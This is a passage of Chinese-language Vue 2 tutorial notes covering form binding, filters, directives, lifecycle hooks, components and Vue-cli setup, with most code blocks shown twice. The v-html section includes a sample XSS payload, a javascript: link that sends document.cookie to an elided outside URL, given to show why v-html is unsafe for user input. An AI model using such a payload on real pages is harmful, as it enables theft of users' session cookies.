)添加属性才能给后添加的属性做响应式。 - 监测数组:通过包裹数组更新元素的方法。
- 在 Vue 中修改数组中的某个元素一定要用如下方法:
push
,pop
,shift
,unshift
,splice
,sort
,reverse
,或者Vue.set
(vm.$set
)。 - 注意:
Vue.set
(vm.$set
)不能给 vm 或者 vm 的根数据对象添加属性。
v-model 收集表单数据
v-model 默认收集 input 的 value 值。
<form @submit.prevent="send"><!-- @submit.prevent 阻止表单提交后跳转的默认行为 -->
<label for="account">账号:</label>
<input type="text" id="account" v-model.trim="account"><br><br>
<!-- .trim 修饰符,去掉前后空格 -->
<label for="password">密码:</label>
<input type="password" id="password" v-model.trim="password"><br><br>
性别:
男<input type="radio" name="sex" v-model="sex" value="male">
女<input type="radio" name="sex" v-model="sex" value="female"><br><br>
年龄:
<!-- .number 修饰符将 age 转换为数字类型数据,type="number"限制只能输入数字-->
<!-- 如果type="text",输入 '18aaa11' ,age 的值为 18 -->
<input type="number" v-model.number="age"><br><br>
爱好:
打游戏<input type="checkbox" name="hobby" v-model="hobby" value="game">
看电视<input type="checkbox" name="hobby" v-model="hobby" value="TV">
读书<input type="checkbox" name="hobby" v-model="hobby" value="book"><br><br>
所属校区:
<select v-model="city"><!-- 注意,如果单独为每个 option 绑定 v-model,是不起作用的 -->
<option value="">== 请选择 ==</option>
<option value="shanghai">上海</option>
<option value="beijing">北京</option>
</select><br><br>
其他信息:
<!-- .lazy 修饰符作用:在 textarea 失去焦点的时候,才监测收集数据 -->
<textarea v-model.lazy="otherinfo"></textarea><br><br>
<input type="checkbox" v-model="agree"> 阅读并接受<a href="https://...">《用户协议》</a><br><br>
<button>提交</button>
</form>
<form @submit.prevent="send"><!-- @submit.prevent 阻止表单提交后跳转的默认行为 -->
<label for="account">账号:</label>
<input type="text" id="account" v-model.trim="account"><br><br>
<!-- .trim 修饰符,去掉前后空格 -->
<label for="password">密码:</label>
<input type="password" id="password" v-model.trim="password"><br><br>
性别:
男<input type="radio" name="sex" v-model="sex" value="male">
女<input type="radio" name="sex" v-model="sex" value="female"><br><br>
年龄:
<!-- .number 修饰符将 age 转换为数字类型数据,type="number"限制只能输入数字-->
<!-- 如果type="text",输入 '18aaa11' ,age 的值为 18 -->
<input type="number" v-model.number="age"><br><br>
爱好:
打游戏<input type="checkbox" name="hobby" v-model="hobby" value="game">
看电视<input type="checkbox" name="hobby" v-model="hobby" value="TV">
读书<input type="checkbox" name="hobby" v-model="hobby" value="book"><br><br>
所属校区:
<select v-model="city"><!-- 注意,如果单独为每个 option 绑定 v-model,是不起作用的 -->
<option value="">== 请选择 ==</option>
<option value="shanghai">上海</option>
<option value="beijing">北京</option>
</select><br><br>
其他信息:
<!-- .lazy 修饰符作用:在 textarea 失去焦点的时候,才监测收集数据 -->
<textarea v-model.lazy="otherinfo"></textarea><br><br>
<input type="checkbox" v-model="agree"> 阅读并接受<a href="https://...">《用户协议》</a><br><br>
<button>提交</button>
</form>
//...
data: {
account: "",
password: "",
sex: 'female',
age: '',
hobby: [],// hobby 的初始值,影响 v-model 收集的数据,hobby 不能初始化为字符串
city: '',
otherinfo: '',
agree: ''
},
methods: {
send() {
// 收集表单所有数据:
console.log(JSON.stringify(this._data));
}
},
//...
//...
data: {
account: "",
password: "",
sex: 'female',
age: '',
hobby: [],// hobby 的初始值,影响 v-model 收集的数据,hobby 不能初始化为字符串
city: '',
otherinfo: '',
agree: ''
},
methods: {
send() {
// 收集表单所有数据:
console.log(JSON.stringify(this._data));
}
},
//...
补充:v-model.number
将收集到的 value 值强制转换为数字。
过滤器 filters
对要显示的数据进行特定格式化后再显示,适用于一些简单逻辑的处理。
过滤器可以对数据进行加工,如通过处理时间戳显示当前时间:
<p>显示当前时间:{{time | timeFormatter}}</p> <!-- 2023/2/4 21:50:28 -->
<p>显示当前时间:{{time | timeFormatter('yyyy-mm-dd')}}</p> <!-- 2023/2/4 21:50:28 -->
<p>显示当前时间:{{time | timeFormatter('yyyy-mm-dd') | strSlice}}</p> <!-- 2023 -->
<p>显示当前时间:{{time | timeFormatter}}</p> <!-- 2023/2/4 21:50:28 -->
<p>显示当前时间:{{time | timeFormatter('yyyy-mm-dd')}}</p> <!-- 2023/2/4 21:50:28 -->
<p>显示当前时间:{{time | timeFormatter('yyyy-mm-dd') | strSlice}}</p> <!-- 2023 -->
// ...
data: {
time:1675518628716
},
filters:{
timeFormatter(val,val2 = 'yyyy'){
return new Date(val).toLocaleString();
},
strSlice(val){
return val.slice(0,4)
}
}
// ...
// ...
data: {
time:1675518628716
},
filters:{
timeFormatter(val,val2 = 'yyyy'){
return new Date(val).toLocaleString();
},
strSlice(val){
return val.slice(0,4)
}
}
// ...
- 过滤器传参:
vm.time 作为参数传递给 timeFormatter,且 timeFormatter 的返回值作为插值语法的显示结果,但是并没有改变原来的数据。在这里,timeFormatter 可以接受外部参数,第二个参数是 'yyyy-mm-dd'
,默认第二个参数是 'yyyy'
。
- 过滤器能进行串联
strSlice
接受timeFormatter
的返回值作为参数。 - 上述中的
timeFormatter
、strSlice
作为局部过滤器,只能用于当前 Vue 实例。 - 全局过滤器,在 new Vue 之前配置,如将
strSlice
作为全局过滤器。
Vue.filter('strSlice',function (val) {
return val.slice(0,4)
})
Vue.filter('strSlice',function (val) {
return val.slice(0,4)
})
- 除了插值语法,配合 v-bind 使用过滤器:
<p :x="time | strSlice"></p>
<p :x="time | strSlice"></p>
注意,v-model 中无法使用过滤器。
内置指令
除了 v-bind
(:xxx
),v-model
,v-for
,v-on
(@),v-if
,v-else
,v-show
。
- v-text
<p>你好,{{name}}</p>
<p v-text="name"></p>
<p>你好,{{name}}</p>
<p v-text="name"></p>
{{}}
与相比 v-tex
相比,更灵活,易于字符串的拼接。v-text 无法解析 html 元素。
- v-html 能够解析 html 元素。但是有安全性问题,如对于浏览器的 Cookie:
//...
data: {
_html:`<a href="javascript:location.href='https://...?' + document.cookie"></a>`
},
//...
//...
data: {
_html:`<a href="javascript:location.href='https://...?' + document.cookie"></a>`
},
//...
document.cookie
能携带浏览器当前所有非 HttpOnly
的 Cookie。
注意:
v-html
与v-text
一样,会替换掉节点内的所有内容,{{}}
不会。v-html
有安全性问题,一定要造可信的内容上使用v-html
,不要用在用户输入的内容上!因为动态渲染 HTML 是非常危险的,容易导致 XSS 攻击。
- v-cloak
不允许未经解析的模板展示在页面。
<style>
[v-cloak]{
display: none;
}
</style>
<style>
[v-cloak]{
display: none;
}
</style>
<div v-cloak>{{name}}</div>
<div v-cloak>{{name}}</div>
当 vue 因为 js 阻塞未引入时,带有 v-cloak 属性的元素不显示,直到 vue 引入后,该元素的 v-cloak 会自动移除。
- v-once
v-once 所在节点在初次动态渲染后,就被视为静态内容。以后数据的改变不会引起 v-once 所在结构的更新。
- v-pre
作用:跳过其所在节点的编译过程。用于:没有使用指令语法、插值语法的节点,加快编译。
自定义指令
需自己操作 DOM 元素。
- 函数式
自定义 v-big 指令,将绑定的数值放大 10 倍。
<div id="root">
<h2>{{name}}</h2>
<h2>当前 n 值:<span v-text="n"></span></h2>
<h2>放大 10 倍的 n 值:<span v-big="n"></span></h2>
<button @click="n++">点我 n + 1</button>
</div>
<div id="root">
<h2>{{name}}</h2>
<h2>当前 n 值:<span v-text="n"></span></h2>
<h2>放大 10 倍的 n 值:<span v-big="n"></span></h2>
<button @click="n++">点我 n + 1</button>
</div>
//...
data: {
name:'Amy',
n:1,
},
directives:{
big(element,binding){
element.innerText = binding.value * 10
}
}
//...
//...
data: {
name:'Amy',
n:1,
},
directives:{
big(element,binding){
element.innerText = binding.value * 10
}
}
//...
big 接受的参数 element 是绑定所在元素的真实 DOM 节点,binding 接收 data.n 作为 value。
big 函数何时会调用:
- 指令与元素成功绑定时;
- 指令所在的模板被重新解析时:
注意,上述中,如果只有 data.name 发生改变时,big 也会被调用,因为整个 root
模板都会被重新解析。
为什么 data.name 改变的时候,big 也会被调用呢?
自定义指令简写为函数时,相当于配置了 bind 和 update 属性,在 VNode 更新时都会被调用。每次修改属性,调用 render 配置,生成新的虚拟 DOM - VNode,mount 再将新旧 VNode 对比,在此过程中, 会重新计算 v-big 指令的值,前后是否一致。
- 对象式
自定义 v-fbind 指令,在 input 框一加载,就获取焦点
<button @click="n++">点击 n + 1</button><br>
<input type="text" v-fbind:value="n">
<button @click="n++">点击 n + 1</button><br>
<input type="text" v-fbind:value="n">
//...
directives: {
fbind(element,binding){
element.value = binding.value;
element.focus();
}
},
//...
//...
directives: {
fbind(element,binding){
element.value = binding.value;
element.focus();
}
},
//...
这种函数式写法,会出现问题:初始化页面没有获取焦点,但是一点击 button ,input 框能正常获取焦点。原因:fbind 在指令与元素成功绑定时被调用的时候,input 元素还未加载至页面。 (input 框要通过 Vue 编译才被放置页面)
解决:配置 inserted
directives: {
fbind:{
bind(ele,binding){
ele.value = binding.value;
},//指令与元素成功绑定时被调用
inserted(ele,binding){
ele.focus();
},//指令所在元素被插入也面时被调用
update(ele,binding){
ele.value = binding.value;
ele.focus();
},//指令所在模板被重新解析时被调用
}
},
directives: {
fbind:{
bind(ele,binding){
ele.value = binding.value;
},//指令与元素成功绑定时被调用
inserted(ele,binding){
ele.focus();
},//指令所在元素被插入也面时被调用
update(ele,binding){
ele.value = binding.value;
ele.focus();
},//指令所在模板被重新解析时被调用
}
},
- 总结
- 指令命名:多个字母组合时:
<input type="text" v-big-number:value="n">
<input type="text" v-big-number:value="n">
//...
data: {
n: 1,
},
directives: {
// 两种等价简写
'big-number'(){
},
'big-number':function(){
}
},
//...
//...
data: {
n: 1,
},
directives: {
// 两种等价简写
'big-number'(){
},
'big-number':function(){
}
},
//...
- directives 配置里的函数
this
均指向 window,要想用 vue 中的属性值,如上 input 传入。 - 设置全局自定义指令,类似全局过滤器:
// 两种等价写法
Vue.directive('big-number',{
bind(){},
inserted(){},
update(){},
});
Vue.directive('big-number',function (ele,binding) {
});
// 两种等价写法
Vue.directive('big-number',{
bind(){},
inserted(){},
update(){},
});
Vue.directive('big-number',function (ele,binding) {
});
生命周期
生命周期函数:Vue 在关键时刻帮我们调用的一些特殊名称的函数。函数中的 this 指向时 vm 或者组件实例对象。
mounted
Vue 完成模板的解析并把初始的真实的 DOM 元素放入页面后(挂载完毕)调用 mounted。
- 使用定时器改变样式
<h2 :style="{opacity}">Welcom to Vue!</h2>
<h2 :style="{opacity}">Welcom to Vue!</h2>
//...
data: {
opacity: 1,
},
methods: {
change() {
setTimeout(() => {
this.opacity -= 0.01;
if (this.opacity <= 0) this.opacity = 1
}, 16);
}
},
//...
//...
data: {
opacity: 1,
},
methods: {
change() {
setTimeout(() => {
this.opacity -= 0.01;
if (this.opacity <= 0) this.opacity = 1
}, 16);
}
},
//...
change
方法改变了 data
中的属性 opacity
,页面会被重新解析,每次解析,又会调用 change
,会同时开启大量定时器。 想要一打开页面,元素的透明度正常变化,需要使用 mounted
。
//...
mounted() {
setTimeout(() => {
this.opacity -= 0.01;
if (this.opacity <= 0) this.opacity = 1
}, 16);
},
//...
//...
mounted() {
setTimeout(() => {
this.opacity -= 0.01;
if (this.opacity <= 0) this.opacity = 1
}, 16);
},
//...

挂载
- 初始化:生命周期、事件,但是数据代理还未开始。 =>
beforeCreate
:此时:无法通过 vm 访问到 data 中的数据、methods 中的方法。 - 初始化:数据监测、数据代理。=>
created
:此时:可以通过 vm 访问到 data 中的数据、methods 中的方法。 created
~beforeMount
:此阶段 Vue 开始解析模板,生成虚拟 DOM(内存中),页面还不能显示解析好的内容。beforeMount
:此时:1.页面呈现的是未经Vue编译的DOM结构;2.所有对DOM的操作,最终都不奏效。beforeMount
~mounted
:将内存中的 虚拟 DOM 转为 真实 DOM 插入页面。mounted
:此时:1.页面中呈现的是经过 Vue 编译的 DOM;2.对 DOM 的操作均有效(尽可能避免)。
至此,初始化过程结束,一般在此进行:开启定时器、发送网络请求、订阅消息、绑定自定义事件等初始化操作。
更新流程
beforeUpdate
:此时,数据是新的,但是页面未更新。即:页面尚未和数据保持同步。beforeUpdate
~updated
:根据新数据,生成新的虚拟 DOM ,随后与旧的虚拟 DOM 进行比较,最终完成页面更新,即:完成了 Model => View 的更新。(数据 => 视图)updated
:数据和页面,都是最新的。即:页面和数据保持同步。
销毁
vm.$destroy():完全销毁一个实例。清理它与其他实例的连接,解绑它的全部指令及所有事件监听器。
beforeDestroy
:此时:vm 中所有的:data、methods、指令等,都处于可用的状态,马上要指向销毁过程,一般在此阶段:关闭定时器、取消订阅消息、解绑自定义事件等收尾操作。destroyed
注意:
- vm 被销毁后,页面保持销毁前的状态
beforeDestroy
以及destroyed
中,改变 data 中的数据,调用 methods 中的方法,不会触发页面的更新,也不会触发 watch。
生命周期总结
- 停止标题透明度变换:销毁定时器、销毁 vm:
<h2 :style="{opacity}">欢迎学习 Vue</h2>
<button @click="opacity = 1">透明度设置为1</button>
<button @click="stop">点我停止变换</button>
<h2 :style="{opacity}">欢迎学习 Vue</h2>
<button @click="opacity = 1">透明度设置为1</button>
<button @click="stop">点我停止变换</button>
new Vue({
el: '#root',
data: {
opacity: 1,
},
methods: {
stop() {
//clearInterval(this.timer); //不推荐
this.$destroy();
}
},
mounted() {
this.timer = setInterval(() => {
console.log('setInterval');
this.opacity -= 0.01;
if (this.opacity <= 0) this.opacity = 1;
}, 15);
},
beforeDestroy() {
clearInterval(this.timer);
},
})
new Vue({
el: '#root',
data: {
opacity: 1,
},
methods: {
stop() {
//clearInterval(this.timer); //不推荐
this.$destroy();
}
},
mounted() {
this.timer = setInterval(() => {
console.log('setInterval');
this.opacity -= 0.01;
if (this.opacity <= 0) this.opacity = 1;
}, 15);
},
beforeDestroy() {
clearInterval(this.timer);
},
})
一般来说,在销毁 vm 时,销毁定时器这类行为,在 beforeDestroy
中进行。如上,不在方法 stop 中去清除定时器,因为可能不是 stop 触发的 vm 销毁。
- 总结:
- 目前钩子总结,4对:
- beforeCreate ~ created => 数据代理
- beforeMount ~ mounted => 页面挂载,常用:初始化操作
- beforeUpdate ~ updated => 更新数据
- beforeDestroy ~ destroyed => 销毁 vm,常用:收尾工作
- 一般不会在
beforeDestroy
中操作数据,即便操作了,也不会触发更新流程。
Vue 组件化编程
实现应用中局部功能代码和资源的集合
模块与组件、模块化与组件化
非单文件组件
基本使用
Vue.extend
创建组件
const student = Vue.extend({
template: `
<div>
<h2>姓名:{{name}}</h2>
<h2>年龄:{{age}}</h2>
</div>
`,
data() {
return {
name: '张三',
age: 18
}
}
})
const school = Vue.extend({
template: `
<div>
<h2>学校:{{name}}</h2>
<h2>地址:{{location}}</h2>
</div>
`,
data() {
return {
name: '理工大学',
location: 'Chengdu'
}
}
})
const student = Vue.extend({
template: `
<div>
<h2>姓名:{{name}}</h2>
<h2>年龄:{{age}}</h2>
</div>
`,
data() {
return {
name: '张三',
age: 18
}
}
})
const school = Vue.extend({
template: `
<div>
<h2>学校:{{name}}</h2>
<h2>地址:{{location}}</h2>
</div>
`,
data() {
return {
name: '理工大学',
location: 'Chengdu'
}
}
})
注意:
data
要写成函数式,这样多个地方调用相同组件才互不影响。- 注册组件的时候,不用配置
el
- 注册组件
- 局部注册
new Vue({
el: '#root',
data:{
msg:'hello!'
},
components: {
student,//student:student,
school//school:school
}
})
new Vue({
el: '#root',
data:{
msg:'hello!'
},
components: {
student,//student:student,
school//school:school
}
})
components 属性名可以和组件名不一样,但是一般来说,两者名称设置相同,可简写。
- 编写组件标签,页面引入组件:
<div id="root">
{{msg}}
<hr>
<student></student>
<hr>
<school></school>
</div>
<div id="root">
{{msg}}
<hr>
<student></student>
<hr>
<school></school>
</div>
补充:全局注册组件
const hello = Vue.extend({
template: `
<div>
<h2>你好呀!{{name}}</h2>
</div>
`,
data() {
return {
name: '美女',
}
}
})
Vue.component('hello',hello)
const hello = Vue.extend({
template: `
<div>
<h2>你好呀!{{name}}</h2>
</div>
`,
data() {
return {
name: '美女',
}
}
})
Vue.component('hello',hello)
<div id="root1">
<hello></hello>
</div>
<div id="root2">
<hello></hello>
</div>
<div id="root1">
<hello></hello>
</div>
<div id="root2">
<hello></hello>
</div>
组件的简写,省略 Vue.extend
,可以直接使用对象:
const hello = {
data() {
return {
name: '美女',
}
}
}
const hello = {
data() {
return {
name: '美女',
}
}
}
在注册组件的时候,如果传入的是 Object,Vue 会自动调用 Vue.extend
。
组件名称
- 一个单词,首字母大写,与 Vue 开发者工具命名相同
<body>
<div id="root">
<School></School>
</div>
</body>
<script>
Vue.config.productionTip = false
const s = Vue.extend({
template: ``,
data() {
return {
}
}
})
new Vue({
el:"#root",
components:{
'my-school':s
}
})
</script>
<body>
<div id="root">
<School></School>
</div>
</body>
<script>
Vue.config.productionTip = false
const s = Vue.extend({
template: ``,
data() {
return {
}
}
})
new Vue({
el:"#root",
components:{
'my-school':s
}
})
</script>
- 多个单词
连接符:
new Vue({
el:"#root",
components:{
'my-school':s
}
})
new Vue({
el:"#root",
components:{
'my-school':s
}
})
或者首字母大写,但是注意,这种写法只有在使用 Vue-cli 搭建项目时使用才正常。
new Vue({
el:"#root",
components:{
MySchool:s
}
})
new Vue({
el:"#root",
components:{
MySchool:s
}
})
注意:组件名应避免与 HTML 已有的标签重名,如 h2 。
- 开发者工具中组件的名称
可以使用 name 配置项指定组件在开发者工具中呈现的名字。
创建组件 s 时,配置了 name 属性值为 student-comp
,Vue 开发者工具显示的名称是 StudentComp
,不配置,默认显示注册组件时的名称,即 School
。
<script>
const s = Vue.extend({
name:'student-comp',
})
new Vue({
el:"#root",
components:{
School:s
}
})
</script>
<body>
<div id="root">
<School></School>
</div>
</body>
<script>
const s = Vue.extend({
name:'student-comp',
})
new Vue({
el:"#root",
components:{
School:s
}
})
</script>
<body>
<div id="root">
<School></School>
</div>
</body>
组件使用
<div id="root">
<School></School>
<!-- 注意,自闭和写法只有在脚手架中使用 -->
<School/>
</div>
<div id="root">
<School></School>
<!-- 注意,自闭和写法只有在脚手架中使用 -->
<School/>
</div>
组件嵌套
- 实例:组件嵌套逻辑:Root => School => Student。
student
组件要创建后,才能在 school
中注册,要注意代码执行的顺序。
<body>
<div id="root">
<school></school>
</div>
</body>
<script>
Vue.config.productionTip = false;
const student = Vue.extend({
template: `
<div>
<h2>姓名:{{name}}</h2>
<h2>年龄:{{age}}</h2>
</div>
`,
data() {
return {
name: '张三',
age: 18
}
}
})
const school = Vue.extend({
// 在 template 中使用子组件
template: `
<div>
<h2>学校:{{name}}</h2>
<h2>地址:{{location}}</h2>
<student></student>
</div>
`,
data() {
return {
name: '理工大学',
location: 'Chengdu'
}
},
components: {
student
}
})
new Vue({
el:"#root",
components:{
school
}
})
</script>
<body>
<div id="root">
<school></school>
</div>
</body>
<script>
Vue.config.productionTip = false;
const student = Vue.extend({
template: `
<div>
<h2>姓名:{{name}}</h2>
<h2>年龄:{{age}}</h2>
</div>
`,
data() {
return {
name: '张三',
age: 18
}
}
})
const school = Vue.extend({
// 在 template 中使用子组件
template: `
<div>
<h2>学校:{{name}}</h2>
<h2>地址:{{location}}</h2>
<student></student>
</div>
`,
data() {
return {
name: '理工大学',
location: 'Chengdu'
}
},
components: {
student
}
})
new Vue({
el:"#root",
components:{
school
}
})
</script>
- 使用 app 组件管理所有组件
实际开发中,app 组件只被 Root 所管理,并管理所有其他组件。
<div id="root"></div>
<div id="root"></div>
// student 是 school 的子组件
const student = Vue.extend({
})
const school = Vue.extend({
template: `
<div>
<student></student>
</div>`,
components: {
student
}
})
const hello = Vue.extend({
})
// student、hello 是 app 的子组件
const app = Vue.extend({
template: `
<div>
<student></student>
<hello></hello>
</div>`,
components: {
student,
hello
}
})
new Vue({
template:'<app></app>',
el:"#root",
components:{app}
})
// student 是 school 的子组件
const student = Vue.extend({
})
const school = Vue.extend({
template: `
<div>
<student></student>
</div>`,
components: {
student
}
})
const hello = Vue.extend({
})
// student、hello 是 app 的子组件
const app = Vue.extend({
template: `
<div>
<student></student>
<hello></hello>
</div>`,
components: {
student,
hello
}
})
new Vue({
template:'<app></app>',
el:"#root",
components:{app}
})
组件本质 - VueComponet
- 组件的本质是构造函数 VueComponent,由
Vue.extend
生成。 - 当组件被引入页面时,Vue 在此时创建组件的实例对象,即执行:
new VueComponent(options)
- 每次调用
Vue.extend
,返回的都是一个全新的VueComponent
:- 同一个组件,在页面引入多次,每次返回的都是一个全新的
VueComponent
- 不同组件,但是配置项
options
都相同,所返回的VueComponent
也是不一样的
- 同一个组件,在页面引入多次,每次返回的都是一个全新的
- 关于
this
指向:组件配置中,data、methods、computed等配置项中的普通函数,它们的this
均是VueComponent
实例对象**(vc)**,与 vm (Vue
的实例对象) 结构类似。
Vue 实例与组件实例对象的关系(vm 与 vc)
VueComponent.prototype.__proto__ === Vue.prototype
,如此,组件实例对象 vc 可以访问到 Vue 原型上的属性、方法。

因为组件是可复用的 Vue 实例,所以它们与 new Vue 接收相同的选项,例如 data、computed、watch、methods 以及生命周期钩子等。仅有的例外是像 el 这样根实例特有的选项。
以构造函数出发:
function Demo() {
this.a = 1
this.b = 2
}
const d = new Demo();
function Demo() {
this.a = 1
this.b = 2
}
const d = new Demo();
Demo.prototype
=> 显示原型属性,d.__proto__
=> 隐式原型属性,都指向同一个原型对象。
Demo.prototype.x = 99
Demo.prototype.x = 99
通过显示原型属性操作原型对象,追加一个属性值为 99 的 x 属性,能通过其实例对象的属性访问到:d.x
或者 d.__proto__.x
。
单文件组件 *.vue
结构:
<template></template>
=> html<script></script>
=> js<style></style>
=> css
组件的基本使用逻辑
- 创建子组件
School
、Student
School.vue
:
<template>
<div class="demo">
<h2>{{name}}</h2>
<h2>{{location}}</h2>
<button @click="showName">点我提示学校名</button>
</div>
</template>
<script>
export default {
name: 'School',
data() {
return {
name:'理工大学',
location:'成都'
}
},
methods: {
showName(){
alert(this.name)
}
},
}
</script>
<style>
.demo {
background-color: orange;
}
</style>
<template>
<div class="demo">
<h2>{{name}}</h2>
<h2>{{location}}</h2>
<button @click="showName">点我提示学校名</button>
</div>
</template>
<script>
export default {
name: 'School',
data() {
return {
name:'理工大学',
location:'成都'
}
},
methods: {
showName(){
alert(this.name)
}
},
}
</script>
<style>
.demo {
background-color: orange;
}
</style>
Student.vue
:
<template>
<div>
<h2>{{name}}</h2>
<h2>{{age}}</h2>
</div>
</template>
<script>
export default {
name: 'Student',
data() {
return {
name:'张三',
age:18
}
},
}
</script>
<template>
<div>
<h2>{{name}}</h2>
<h2>{{age}}</h2>
</div>
</template>
<script>
export default {
name: 'Student',
data() {
return {
name:'张三',
age:18
}
},
}
</script>
- 创建
App
组件
<template>
<div>
<School/>
<Student/>
</div>
</template>
<script>
// 引入组件
import School from "./School.vue";
import Student from "./Student.vue";
export default {
name: "App",
components: {
School,
Student
}
};
</script>
<style>
</style>
<template>
<div>
<School/>
<Student/>
</div>
</template>
<script>
// 引入组件
import School from "./School.vue";
import Student from "./Student.vue";
export default {
name: "App",
components: {
School,
Student
}
};
</script>
<style>
</style>
- main.js 页面引入 App
// main.js
import App from './App'
new Vue({
template:'<App></App>',
name:'App',
components:{App}
})
// main.js
import App from './App'
new Vue({
template:'<App></App>',
name:'App',
components:{App}
})
- index.html 页面引入 main.js
<!-- index.html 入口文件 -->
<body>
<div id="root"></div><!-- App.vue 中使用了 #toot 节点,要保证页面渲染完成再创建 Vue 实例 -->
<script src="https://cdn.jsdelivr.net/npm/vue@2.7.14/dist/vue.js"></script>
<script src="./main.js"></script> <!-- index.js 创建 Vue 实例,所以 Vue 要在此之前引入-->
</body>
<!-- index.html 入口文件 -->
<body>
<div id="root"></div><!-- App.vue 中使用了 #toot 节点,要保证页面渲染完成再创建 Vue 实例 -->
<script src="https://cdn.jsdelivr.net/npm/vue@2.7.14/dist/vue.js"></script>
<script src="./main.js"></script> <!-- index.js 创建 Vue 实例,所以 Vue 要在此之前引入-->
</body>
初始化 Vue-cli
CLI:Command Line Interface
初始化脚手架:
- 全局安装
@vue/cli
,仅第一次执行:npm install -g @vue/cli
如果出现下载缓慢,配置 npm 淘宝镜像:npm config set registry https://registry.npm.taobao.org
- 使用
vue create xxx
创建项目在当前路径 - 启动项目:
npm run serve
Vue-cli 结构
配置文件
- .gitignore => git 提交代码时忽略的文件
- babel.config.js => babel 的控制文件,用于将 ES6 转 ES5,可参考babel官网,进行更详细的配置
- package.json => 说明文件,引用包的信息,以及相关依赖
"scripts": {
"serve": "vue-cli-service serve",
"build": "vue-cli-service build",// 工程结束后编译
"lint": "vue-cli-service lint" // js 语法检查,*.vue、*.js 文件,一般不用
},
"scripts": {
"serve": "vue-cli-service serve",
"build": "vue-cli-service build",// 工程结束后编译
"lint": "vue-cli-service lint" // js 语法检查,*.vue、*.js 文件,一般不用
},
- package-lock.json => 包版本控制文件,固定下载包的版本号
- src/assets => 放置静态资源,网页所需的图片、视频
- src/components => 除了 App.vue 外的所有子组件
运行逻辑
npm run serve
=> 执行 'src/main.js' 文件
该文件,是整个项目的入口文件
// main.js
// 引入 Vue
import { createApp } from 'vue'
// 引入 App
import App from './App.vue'
// 创建 Vue 实例对象,并放入 #app 容器中
createApp(App).mount('#app')
// main.js
// 引入 Vue
import { createApp } from 'vue'
// 引入 App
import App from './App.vue'
// 创建 Vue 实例对象,并放入 #app 容器中
createApp(App).mount('#app')
- 运行
App.vue
<template>
<div>
<img src="./assets/logo.png" alt=""><!-- 引入外部图片 -->
<School/>
<Student/>
</div>
</template>
<script>
// 引入组件
import School from "./components/School.vue";
import Student from "./components/Student.vue";
export default {
name: "App",
components: {
School,
Student
}
};
</script>
<template>
<div>
<img src="./assets/logo.png" alt=""><!-- 引入外部图片 -->
<School/>
<Student/>
</div>
</template>
<script>
// 引入组件
import School from "./components/School.vue";
import Student from "./components/Student.vue";
export default {
name: "App",
components: {
School,
Student
}
};
</script>
- public/index.html => 根页面
<!DOCTYPE html>
<html lang="">
<head>
<meta charset="utf-8">
<!-- 针对 IE 浏览器的特殊配置,让 IE 浏览器以最高的渲染级别渲染页面 -->
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<!-- 开启移动端的理想视口 -->
<meta name="viewport" content="width=device-width,initial-scale=1.0">
<!-- 配置页签图标 -->
<link rel="icon" href="<%= BASE_URL %>favicon.ico">
<!-- 使用 webpack 配置网页标题,依赖 package.json 中 name 配置项 -->
<title><%= htmlWebpackPlugin.options.title %></title>
</head>
<body>
<!-- 当浏览器不支持 js 时,noscript 中的元素会被渲染 -->
<noscript>
<strong>We're sorry but <%= htmlWebpackPlugin.options.title %> doesn't work properly without JavaScript enabled. Please enable it to continue.</strong>
</noscript>
<div id="app"></div>
<!-- built files will be auto injected -->
</body>
</html>
<!DOCTYPE html>
<html lang="">
<head>
<meta charset="utf-8">
<!-- 针对 IE 浏览器的特殊配置,让 IE 浏览器以最高的渲染级别渲染页面 -->
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<!-- 开启移动端的理想视口 -->
<meta name="viewport" content="width=device-width,initial-scale=1.0">
<!-- 配置页签图标 -->
<link rel="icon" href="<%= BASE_URL %>favicon.ico">
<!-- 使用 webpack 配置网页标题,依赖 package.json 中 name 配置项 -->
<title><%= htmlWebpackPlugin.options.title %></title>
</head>
<body>
<!-- 当浏览器不支持 js 时,noscript 中的元素会被渲染 -->
<noscript>
<strong>We're sorry but <%= htmlWebpackPlugin.options.title %> doesn't work properly without JavaScript enabled. Please enable it to continue.</strong>
</noscript>
<div id="app"></div>
<!-- built files will be auto injected -->
</body>
</html>
<%= BASE_URL %>favicon.ico
路径等价于 ./favicon.ico
,但为了避免部署到服务器后出现各种路径问题,使用 <%= BASE_URL %>
,表示根目录的 public 文件夹。
render 函数
Vue2 中,入口文件 src/main.js 中 import Vue from 'vue'
引入的 vue
是不完整的,缺少模板解析器,不能直接放置 template
配置,以下写法报错:
import Vue from 'vue' //引入 node_modules/vue.runtime.esm.js,无模板解析器
new Vue({
el:"#app",
template:`<h1>你好</h1>`
})
import Vue from 'vue' //引入 node_modules/vue.runtime.esm.js,无模板解析器
new Vue({
el:"#app",
template:`<h1>你好</h1>`
})
vue.runtime.esm.js 配合 render 函数可正常显示:
import Vue from 'vue' //引入 node_modules/vue.runtime.esm.js,无模板解析器
new Vue({
el:"#app",
render(createElement){
return createElement('h1','Hello')//参数:标签名,标签内的value值
}
})
import Vue from 'vue' //引入 node_modules/vue.runtime.esm.js,无模板解析器
new Vue({
el:"#app",
render(createElement){
return createElement('h1','Hello')//参数:标签名,标签内的value值
}
})
render:createElement => createElement('h1','Hello')//简写
render:h => h(App) // 解析 App 结构,放入页面
render:createElement => createElement('h1','Hello')//简写
render:h => h(App) // 解析 App 结构,放入页面
引入完整版则正常:
import Vue from 'vue/dist/vue.js'
new Vue({
el:"#app",
template:`<h1>你好</h1>`
})
import Vue from 'vue/dist/vue.js'
new Vue({
el:"#app",
template:`<h1>你好</h1>`
})
补充:Vue 的核心包括,模板解析器和生命周期函数,将 vue 的功能拆开,使用精简版 Vue ,便于编译打包,节省体积。模板解析器不需要打包。
- 带有
vue.runtime
的文件表示运行时 Vue ,不带有模板解析器。 - vue.runtime.esm.js,esm 表示 ES Module,使用模块化语法时使用此版本。
vue.js 与 vue.runtime.xxx.js 区别::
- vue.js 是完整版 Vue,包含:核心功能 + 模板解析器
- vue.runtime.xxx.js 是运行版 Vue ,只包含:核心功能,没有模板解析器,不能使用
template
配置项,需要使用render
函数接收到的createElement
函数去指定具体内容。
修改默认配置
能修改的配置,参考官网 Vue-cli 配置参考
使用 vue.config.js 文件进行配置,将 webpack 默认配置替换掉,如自定义入口文件为 main2.js
,index2.html
:
module.exports = {// 使用 CommonJS 模块化语法。配合 webpack 和 Node 打包使用
pages: {
index: {
entry: 'src/main2.js',
template: 'public/index2.html',
},
}
}
module.exports = {// 使用 CommonJS 模块化语法。配合 webpack 和 Node 打包使用
pages: {
index: {
